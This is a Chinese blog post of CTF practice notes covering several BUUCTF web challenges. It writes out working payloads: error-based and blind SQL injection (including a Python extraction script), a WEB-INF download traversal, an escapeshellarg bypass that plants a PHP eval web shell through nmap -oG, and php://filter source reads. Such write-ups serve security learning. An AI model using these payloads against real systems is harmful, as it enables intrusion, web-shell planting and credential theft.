7日刷题小记2

[极客大挑战 2019]HardSQL

这道题fuzz,发现屏蔽了空格和union之类的,联合注入被过滤了。

空格通过看wp了解到可以通过()来绕过。

在fuzz里发现他这道题有出现报错注入的漏洞

使用updatexml

爆库名admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

爆表名

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

爆列名

admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

得到列中内容,这里用group_concat的原因是因为他回显只有一行。

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

分别使用left和right得到flag最后拼接在一起

admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

这里35是不确定的,因为是动态flag所以自己调节自己的字符数。

[CISCN2019 华北赛区 Day2 Web1]Hack World

这道题是盲注,用fuzz爆一下发现可以盲注,其他的union这些被屏蔽了

而且他直接给了表明和列名,所以就直接爆

import requests
import time
url='http://14f939a5-25ca-4597-9e1e-f7f769c8a274.node4.buuoj.cn:81/index.php'
r=requests.session()
f=''
for i in range(1,50):
    min=32
    max=127
    mid=(min+max)//2
    while min<max:
        payload="if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (i,mid)
        data={
            "id":payload
        }
        re=requests.post(url,data=data)
        time.sleep(0.1)
        if 'Hello' in re.text:
            min=mid+1
        else:
            max=mid
        mid=(min+max)//2
    f+=chr(int(mid))
    print(f)

[CISCN2019 华北赛区 Day2 Web1]Hack World

盲注,表明和列名告诉了我们所以可以直接爆破

[RoarCTF 2019]Easy Java

这道题,登录进页面没有注册

尝试了admin,万能密码。然后wp中这道题是弱密码,但是没有flag。

后面,他有一个help,点进去

 发现我们可以下载文件

但是不知道为什么这道题get是不能下载的,要用post,在wp中说能找到一段源码这里要求post。但是我没找到。

用post方式能下载文件,缺少项目开发的经验,我是看wp进行下一步的,

这里有两个点,一个是web-inf是安全目录,需要映射才能访问,这道题允许我们download

另一个点是web-inf默认下面还有一个classes文件夹,这道题flag就存放在classes文件夹内

下载WEB-INF/web.xml

文件内容

-<servlet>

<servlet-name>FlagController</servlet-name>

<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>

 得到了flag路径,在web-info下的classes

playload

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

base64解码得到flag

[BUUCTF 2018]Online Tool

谈谈escapeshellarg参数绕过和注入的问题

escapeshellarg()和escapeshellcmd() 没见过,可以参考这篇文章:https://paper.seebug.org/164/

直接找到了上面这篇文章,这两个函数在一起用会有些问题

此处引用大佬wp

[BUUCTF 2018]Online Tool - My_Dreams - 博客园

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:
http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面
的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

简单的来说就是两次转义后出现了问题,没有考虑到单引号的问题

然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转义,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转义…

这时候就只有想想能不能利用nmap来做些什么了。

这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…

playload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

链接时注意文件名

[网鼎杯 2020 朱雀组]phpweb:

界面有个warning,说什么时间处理有问题,查看源码

5秒钟跑一次, 参数告诉我们应该时有call_user_func()

那就是我们可以直接执行命令

 可以直接得到源码,这里readfile没有被禁用,但是我用不了

过滤了很多函数

接下来可以用test传入序列化来绕过他的过滤

func=unsearilize

&p=find / -name flag*的序列化

[BJDCTF2020]ZJCTF,不过如此:

next.php?S*={${eval($_POST[a])}}

学了点东西,re正则/e有风险,data来传入文件数据,fliter伪协议在include时使用

?a=php://filter/read=convert.base64-encode/resource=xxx.php

[BSidesCF 2020]Had a bad day 

点击任意一个按钮会回显一张图,抓包,没有发现问题

尝试直接看源码

?category=php://filter/read=convert.base64-encode/resource=index.php

发生错误,仔细越读后发现是有一个自动补齐.php,所以删掉index后缀,读出来base64,解码

 发现他只允许读取参数,所以我们可以直接

if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))

[BJDCTF2020]Mark loves cat

git泄露,disearch扫描下载index.php

 
  • <?php

  • include 'flag.php';

  • print_r($flag);

  • $yds = "dog";

  • $is = "cat";

  • $handsome = 'yds';

  • foreach($_POST as $x => $y){ // $键 = $值的值

  • $$x = $y;

  • }

  • foreach($_GET as $x => $y){

  • $$x = $$y;// $handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag

  • }

  • // 需要不满足以下几个条件

  • foreach($_GET as $x => $y){

  • if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键值又是flag

  • exit($handsome);

  • }

  • }

  • if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时 GET 和 POST 都没设置 flag

  • exit($yds);

  • }

  • if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'

  • exit($is);

  • }

  • echo "the flag is: ".$flag;

这道题有多种思路一种是exit侵蚀,走?flag=a&a=flag,走到exit,?handsome=flag&flag=handsome完成

而另一个exit则是

yds=flag

[NCTF2019]Fake XML cookbook

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值